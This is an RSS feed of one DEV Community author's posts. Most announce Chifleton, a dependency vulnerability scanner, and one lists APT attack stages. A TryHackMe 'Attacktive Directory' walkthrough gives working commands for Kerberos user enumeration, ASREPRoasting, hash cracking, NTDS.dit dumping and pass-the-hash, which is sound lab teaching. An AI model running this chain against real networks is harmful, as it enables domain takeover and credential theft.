<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: zerogru  Art of Vector</title>
    <description>The latest articles on DEV Community by zerogru  Art of Vector (@zerogru).</description>
    <link>https://dev.to/zerogru</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1911735%2F59172682-5435-44e8-9cab-72b9f375f1bf.jpg</url>
      <title>DEV Community: zerogru  Art of Vector</title>
      <link>https://dev.to/zerogru</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/zerogru"/>
    <language>en</language>
    <item>
      <title>Please don't rely solely on "black-box" security tools.</title>
      <dc:creator>zerogru  Art of Vector</dc:creator>
      <pubDate>Mon, 16 Feb 2026 02:10:17 +0000</pubDate>
      <link>https://dev.to/zerogru/please-dont-rely-solely-on-black-box-security-tools-5ei2</link>
      <guid>https://dev.to/zerogru/please-dont-rely-solely-on-black-box-security-tools-5ei2</guid>
      <description>&lt;p&gt;Please don't rely solely on "black-box" security tools. &lt;/p&gt;

&lt;p&gt;Enterprise scanners are essential, but they often lack the agility needed for real-time, context-aware compliance.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5nzsyqy0jsscbjjisl8x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5nzsyqy0jsscbjjisl8x.png" alt=" " width="800" height="362"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I recently developed a custom Python-based vulnerability engine designed to bridge the gap between raw network data and the NIST Cybersecurity Framework (CSF).&lt;/p&gt;

&lt;p&gt;By automating the mapping of scan results directly to NIST controls, I’ve found that:&lt;br&gt;
Customization &amp;gt; Generic Scans: Scripting allows for surgical precision in identifying assets that standard tools might overlook.&lt;/p&gt;

&lt;p&gt;Continuous Governance: Automation isn't just about speed; it’s about moving from "point-in-time" audits to a state of Continuous Monitoring.&lt;/p&gt;

&lt;p&gt;The Python Edge: Leveraging libraries like Nmap and Scapy allows us to build lean, modular security layers that integrate directly into existing CI/CD pipelines.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsnoh354u2zpmux80o5wd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsnoh354u2zpmux80o5wd.png" alt=" " width="653" height="244"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In modern cybersecurity, the goal isn't just to find vulnerabilities-it's to architect a measurable, automated defense.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5xjr598kfkfhsyef1y3b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5xjr598kfkfhsyef1y3b.png" alt=" " width="800" height="430"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flnyvkzp8216xdy3jwpmw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flnyvkzp8216xdy3jwpmw.png" alt=" " width="800" height="466"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fonb0rni70jdqni4toxwx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fonb0rni70jdqni4toxwx.png" alt=" " width="800" height="453"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;How are you automating your compliance workflows this year? &lt;/p&gt;

&lt;p&gt;Let's talk strategy in the comments. 👇&lt;br&gt;
Pypi: &lt;a href="https://lnkd.in/egFsMnEB" rel="noopener noreferrer"&gt;https://lnkd.in/egFsMnEB&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>ai</category>
      <category>programming</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Chifleton 0.2.1 is now live on PyPI</title>
      <dc:creator>zerogru  Art of Vector</dc:creator>
      <pubDate>Wed, 11 Feb 2026 17:32:32 +0000</pubDate>
      <link>https://dev.to/zerogru/chifleton-021-is-now-live-on-pypi-941</link>
      <guid>https://dev.to/zerogru/chifleton-021-is-now-live-on-pypi-941</guid>
      <description>&lt;h1&gt;
  
  
  Chifleton
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Chifleton&lt;/strong&gt; is a lightweight dependency vulnerability scanner for Python and JavaScript package ecosystems.&lt;br&gt;&lt;br&gt;
It uses &lt;strong&gt;OSV.dev&lt;/strong&gt; as the data source to check known vulnerabilities and produce structured, audit-ready reports. :contentReference[oaicite:1]{index=1}&lt;/p&gt;


&lt;h2&gt;
  
  
  PyPI Release — Version 0.2.1
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Released:&lt;/strong&gt; February 11, 2026&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Install:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;&lt;span class="nv"&gt;chifleton&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;0.2.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Chifleton&lt;/strong&gt; helps developers and small teams discover and document dependency vulnerabilities in a reproducible way, ideal for security reviews, compliance, and continuous integration workflows. &lt;/p&gt;




&lt;h2&gt;
  
  
  Features
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Scans dependency files:

&lt;ul&gt;
&lt;li&gt;Python — &lt;code&gt;requirements.txt&lt;/code&gt;, &lt;code&gt;pyproject.toml&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;JavaScript — &lt;code&gt;package.json&lt;/code&gt;, &lt;code&gt;package-lock.json&lt;/code&gt;, &lt;code&gt;yarn.lock&lt;/code&gt;, &lt;code&gt;pnpm-lock.yaml&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Generates &lt;strong&gt;terminal output&lt;/strong&gt; as well as &lt;strong&gt;HTML&lt;/strong&gt; and &lt;strong&gt;JSON reports&lt;/strong&gt;
&lt;/li&gt;

&lt;li&gt;Designed for audit and compliance use cases&lt;/li&gt;

&lt;li&gt;OSV vulnerability data, no proprietary feeds :contentReference[oaicite:3]{index=3}&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  Quick Start
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;&lt;span class="nv"&gt;chifleton&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;0.2.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scan dependencies and generate HTML + JSON reports:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;chifleton scan requirements.txt &lt;span class="nt"&gt;--report&lt;/span&gt; html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Usage Examples
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Default scan (HTML + JSON):
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;chifleton scan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Scan a specific file:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;chifleton scan pyproject.toml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;CI: mark build as failed if vulnerabilities are found:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;chifleton scan &lt;span class="nt"&gt;--fail-on-vuln&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  About
&lt;/h2&gt;

&lt;p&gt;Dependency vulnerability scanning and reporting is essential for secure software supply chains.&lt;br&gt;&lt;br&gt;
Chifleton provides clear outputs suitable for review, documentation, and audit trails — useful for teams, open-source projects, and compliance automation. :contentReference[oaicite:4]{index=4}&lt;/p&gt;




&lt;h2&gt;
  
  
  ❤️ Maintainer
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Author:&lt;/strong&gt; Jaeha Yoo&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  License
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;MIT License&lt;/strong&gt; &lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>programming</category>
      <category>devops</category>
    </item>
    <item>
      <title>Chifleton — An Open-Source Dependency Vulnerability Scanner</title>
      <dc:creator>zerogru  Art of Vector</dc:creator>
      <pubDate>Wed, 11 Feb 2026 07:46:06 +0000</pubDate>
      <link>https://dev.to/zerogru/vigil-an-open-source-dependency-vulnerability-scanner-5a3i</link>
      <guid>https://dev.to/zerogru/vigil-an-open-source-dependency-vulnerability-scanner-5a3i</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5crq4yojvphnph9867f9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5crq4yojvphnph9867f9.png" alt=" " width="800" height="337"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Evidence-ready dependency audits for Python projects.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Chifleton&lt;/strong&gt; is a CLI tool that produces structured, audit-friendly reports (JSON / HTML) for Python dependency security reviews.&lt;/p&gt;

&lt;p&gt;It is not just about finding vulnerabilities.&lt;br&gt;&lt;br&gt;
It is about making results &lt;strong&gt;reviewable, repeatable, and explainable&lt;/strong&gt;.&lt;/p&gt;


&lt;h2&gt;
  
  
  Why Chifleton?
&lt;/h2&gt;

&lt;p&gt;Most tools stop at providing a simple list:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Here is a list of CVEs.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But real security reviews and compliance audits require more:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Scope:&lt;/strong&gt; What exact dependencies were checked?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Provenance:&lt;/strong&gt; Which data source was used? (e.g., &lt;a href="https://osv.dev" rel="noopener noreferrer"&gt;https://osv.dev&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Context:&lt;/strong&gt; When was the scan run?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Persistence:&lt;/strong&gt; Can results be reviewed later without re-running the scan?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Chifleton focuses on what comes &lt;em&gt;after&lt;/em&gt; detection — producing structured evidence suitable for documentation and audit trails.&lt;/p&gt;


&lt;h2&gt;
  
  
  Features
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Scans Python dependency files:

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;requirements.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pyproject.toml&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Queries public vulnerability data via &lt;strong&gt;OSV.dev&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Generates:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;JSON reports&lt;/strong&gt; (machine-readable automation)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTML reports&lt;/strong&gt; (human-readable audit artifacts)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Designed as a reporting companion — not a replacement for existing scanners&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/0x5A65726F677275/chifleton
&lt;span class="nb"&gt;cd &lt;/span&gt;chifleton
pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Usage
&lt;/h2&gt;

&lt;p&gt;Basic scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;chifleton scan requirements.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Generate an HTML report:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;chifleton scan requirements.txt &lt;span class="nt"&gt;--report&lt;/span&gt; html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Scanning dependencies...
Resolving versions...
Querying vulnerability database...
Generating report...
Report saved to scan-report.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  When Should You Use It?
&lt;/h2&gt;

&lt;p&gt;Chifleton is ideal for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Python projects undergoing formal security reviews&lt;/li&gt;
&lt;li&gt;Maintainers who need archived audit artifacts&lt;/li&gt;
&lt;li&gt;Teams that want structured, reproducible security evidence&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you only need quick vulnerability checks during development, tools like &lt;code&gt;pip-audit&lt;/code&gt; may be sufficient.&lt;/p&gt;

&lt;p&gt;Use &lt;strong&gt;Chifleton&lt;/strong&gt; when you need documented, reviewable evidence.&lt;/p&gt;




&lt;h2&gt;
  
  
  Repository Structure
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chifleton/
├─ chifleton/       # Core CLI implementation
├─ ASSESSMENT.md    # Policy / audit alignment notes
├─ SECURITY.md      # Security reporting policy
└─ LICENSE          # MIT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Author
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/0x5A65726F677275" rel="noopener noreferrer"&gt;Jaeha Yoo&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  License
&lt;/h2&gt;

&lt;p&gt;MIT&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>software</category>
      <category>github</category>
    </item>
    <item>
      <title>Built a Python Dependency Audit Tool Because Vulnerability Lists Weren’t Enough</title>
      <dc:creator>zerogru  Art of Vector</dc:creator>
      <pubDate>Wed, 11 Feb 2026 01:11:11 +0000</pubDate>
      <link>https://dev.to/zerogru/built-a-python-dependency-audit-tool-because-vulnerability-lists-werent-enough-495h</link>
      <guid>https://dev.to/zerogru/built-a-python-dependency-audit-tool-because-vulnerability-lists-werent-enough-495h</guid>
      <description>&lt;h1&gt;
  
  
  Chifleton
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;Evidence-ready dependency audits for Python projects.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Chifleton&lt;/strong&gt; is a CLI tool that produces structured, audit-friendly reports (JSON / HTML) for Python dependency security reviews.&lt;/p&gt;

&lt;p&gt;It is not just about finding vulnerabilities.&lt;br&gt;&lt;br&gt;
It is about making results &lt;strong&gt;reviewable, repeatable, and explainable&lt;/strong&gt;.&lt;/p&gt;


&lt;h2&gt;
  
  
  Why Chifleton?
&lt;/h2&gt;

&lt;p&gt;Most tools stop at providing a simple list:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Here is a list of CVEs.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But real security reviews and compliance audits require more:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Scope:&lt;/strong&gt; What exact dependencies were checked?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Provenance:&lt;/strong&gt; Which data source was used? (e.g., &lt;a href="https://osv.dev" rel="noopener noreferrer"&gt;https://osv.dev&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Context:&lt;/strong&gt; When was the scan run?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Persistence:&lt;/strong&gt; Can results be reviewed later without re-running the scan?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Chifleton focuses on what comes &lt;em&gt;after&lt;/em&gt; detection — producing structured evidence suitable for documentation and audit trails.&lt;/p&gt;


&lt;h2&gt;
  
  
  Features
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Scans Python dependency files:

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;requirements.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pyproject.toml&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Queries public vulnerability data via &lt;strong&gt;OSV.dev&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Generates:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;JSON reports&lt;/strong&gt; (machine-readable automation)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTML reports&lt;/strong&gt; (human-readable audit artifacts)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Designed as a reporting companion — not a replacement for existing scanners&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/0x5A65726F677275/chifleton
&lt;span class="nb"&gt;cd &lt;/span&gt;chifleton
pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Usage
&lt;/h2&gt;

&lt;p&gt;Basic scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;chifleton scan requirements.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Generate an HTML report:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;chifleton scan requirements.txt &lt;span class="nt"&gt;--report&lt;/span&gt; html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Scanning dependencies...
Resolving versions...
Querying vulnerability database...
Generating report...
Report saved to scan-report.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  When Should You Use It?
&lt;/h2&gt;

&lt;p&gt;Chifleton is ideal for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Python projects undergoing formal security reviews&lt;/li&gt;
&lt;li&gt;Maintainers who need archived audit artifacts&lt;/li&gt;
&lt;li&gt;Teams that want structured, reproducible security evidence&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you only need quick vulnerability checks during development, tools like &lt;code&gt;pip-audit&lt;/code&gt; may be sufficient.&lt;/p&gt;

&lt;p&gt;Use &lt;strong&gt;Chifleton&lt;/strong&gt; when you need documented, reviewable evidence.&lt;/p&gt;




&lt;h2&gt;
  
  
  Repository Structure
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chifleton/
├─ chifleton/       # Core CLI implementation
├─ ASSESSMENT.md    # Policy / audit alignment notes
├─ SECURITY.md      # Security reporting policy
└─ LICENSE          # MIT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Author
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/0x5A65726F677275" rel="noopener noreferrer"&gt;Jaeha Yoo&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  License
&lt;/h2&gt;

&lt;p&gt;MIT&lt;/p&gt;

</description>
      <category>python</category>
      <category>security</category>
      <category>opensource</category>
      <category>devplusplus</category>
    </item>
    <item>
      <title>Advanced Persistent Threat (APT) Definition</title>
      <dc:creator>zerogru  Art of Vector</dc:creator>
      <pubDate>Wed, 21 Jan 2026 16:37:30 +0000</pubDate>
      <link>https://dev.to/zerogru/advanced-persistent-threat-apt-definition-2amf</link>
      <guid>https://dev.to/zerogru/advanced-persistent-threat-apt-definition-2amf</guid>
      <description>&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Look for Information (Reconnaissance)&lt;br&gt;
Find out who works at the company.&lt;br&gt;
Learn what systems they use.&lt;br&gt;
Search online for useful details (emails, software, etc.).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Break In (Initial Access)&lt;br&gt;
Send fake emails with bad links or files.&lt;br&gt;
Hack a weak or unprotected system.&lt;br&gt;
Use stolen passwords if available.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Stay Inside (Persistence)&lt;br&gt;
Install tools to get back in later.&lt;br&gt;
Set up hidden ways to reconnect (like backdoors).&lt;br&gt;
Make sure access survives a system restart.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Get More Power (Privilege Escalation)&lt;br&gt;
Find ways to become an admin.&lt;br&gt;
Take over accounts with more access.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Explore the Network (Internal Recon)&lt;br&gt;
Look around to see what other computers are connected.&lt;br&gt;
Find important data or systems.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Move Around (Lateral Movement)&lt;br&gt;
Use the current access to reach more systems.&lt;br&gt;
Try to get to the most valuable targets (like servers or data storage).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Steal Data (Exfiltration)&lt;br&gt;
Collect important files or information.&lt;br&gt;
Send the data out without being noticed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Hide Evidence (Covering Tracks)&lt;br&gt;
Erase logs and other signs of the attack.&lt;br&gt;
Use methods that make the attack hard to trace.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
    </item>
    <item>
      <title>Master Active Directory: Attacktive Directory (TryHackMe) Walkthrough</title>
      <dc:creator>zerogru  Art of Vector</dc:creator>
      <pubDate>Wed, 21 Jan 2026 15:51:48 +0000</pubDate>
      <link>https://dev.to/zerogru/master-active-directory-attacktive-directory-tryhackme-walkthrough-4gm0</link>
      <guid>https://dev.to/zerogru/master-active-directory-attacktive-directory-tryhackme-walkthrough-4gm0</guid>
      <description>&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attacktive Directory Walkthrough (TryHackMe)

Active Directory Enumeration → Kerberos Abuse → Domain Compromise

About This Walkthrough

This guide documents the full exploitation path for the Attacktive Directory machine on TryHackMe.

The objective is to walk through a realistic Active Directory attack chain, covering the core pillars of a Windows domain engagement:

Enumeration

Kerberos exploitation

Credential harvesting

Lateral movement and full domain compromise

This is a hands-on, attacker-side perspective, designed for learners who already understand basic networking and Linux tooling.

Learning Objectives

By the end of this walkthrough, you will understand how to:

AD Enumeration
Map domain services, users, and attack surface.

Kerberos Exploitation
Abuse misconfigurations using ASREPRoasting.

Credential Harvesting
Crack Kerberos hashes using Hashcat.

Domain Takeover
Dump NTDS.dit and perform Pass-the-Hash attacks.

Tooling Requirements

Ensure the following tools are installed before starting:

Impacket
A powerful collection of scripts for interacting with Windows protocols.

Kerbrute
Used for Kerberos-based username enumeration.

Enum4linux
Useful for SMB and NetBIOS discovery.

Hashcat
Industry-standard password cracking tool.

Step-by-Step Walkthrough
1. Enumeration (DNS &amp;amp; Ports)

First, map the target IP address to the domain name:

echo "10.10.194.183 spookysec.local" | sudo tee -a /etc/hosts


Next, run a targeted scan against Active Directory–related ports:

nmap -p53,88,135,139,389,445,636,3268 -A -T4 spookysec.local


This confirms:

Domain Controller presence

Kerberos (88)

LDAP (389/636)

SMB (445)

2. Finding Valid Users (Kerberos Enumeration)

Kerberos allows username validation without triggering account lockouts.

Using Kerbrute, enumerate valid domain users:

kerbrute userenum --dc spookysec.local -d spookysec.local userlist.txt


Any valid usernames discovered here become prime candidates for Kerberos attacks.

3. ASREPRoasting (Initial Access)

If a user account has “Do not require Kerberos pre-authentication” enabled, you can request a Ticket Granting Ticket (TGT) without credentials.

Use Impacket’s GetNPUsers.py:

python3 GetNPUsers.py spookysec.local/svc-admin -no-pass -usersfile userlist.txt


This returns an AS-REP hash that can be cracked offline.

4. Cracking Kerberos Hashes

Use Hashcat to crack the AS-REP hash.

Hash mode: 18200 (Kerberos 5 AS-REP)

hashcat -m 18200 hash.txt wordlist.txt


Once cracked, you gain plaintext credentials for a domain account.

5. Privilege Escalation &amp;amp; Domain Admin

With valid service account credentials, dump secrets directly from the Domain Controller:

python3 secretsdump.py -just-dc backup@spookysec.local


This extracts:

NTLM hashes

Domain Administrator credentials

Full Active Directory credential database (NTDS.dit)

6. Pass-the-Hash (Domain Compromise)

Using the Administrator NTLM hash, authenticate without knowing the password:

python3 psexec.py Administrator@spookysec.local -hashes :


You now have:

SYSTEM shell

Full Domain Admin access

Complete domain compromise

Key Takeaways

Kerberos misconfigurations often provide silent initial access

Password cracking is still one of the weakest links in AD security

Service accounts are frequent escalation paths

NTLM hashes are often as powerful as plaintext passwords
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>security</category>
      <category>tutorial</category>
      <category>activedirectory</category>
      <category>infosec</category>
    </item>
    <item>
      <title>[picoctf]Binary Search writeup</title>
      <dc:creator>zerogru  Art of Vector</dc:creator>
      <pubDate>Sat, 10 Aug 2024 21:19:32 +0000</pubDate>
      <link>https://dev.to/zerogru/picoctfbinary-search-writeup-2hbo</link>
      <guid>https://dev.to/zerogru/picoctfbinary-search-writeup-2hbo</guid>
      <description>&lt;h3&gt;
  
  
  Title:
&lt;/h3&gt;

&lt;p&gt;Binary Search&lt;/p&gt;

&lt;h3&gt;
  
  
  Author:
&lt;/h3&gt;

&lt;p&gt;Jeffery John&lt;/p&gt;

&lt;h3&gt;
  
  
  Date:
&lt;/h3&gt;

&lt;p&gt;8/10/2024&lt;/p&gt;

&lt;h3&gt;
  
  
  Challenge Description
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://play.picoctf.org/practice/challenge/442" rel="noopener noreferrer"&gt;https://play.picoctf.org/practice/challenge/442&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Difficulty Level
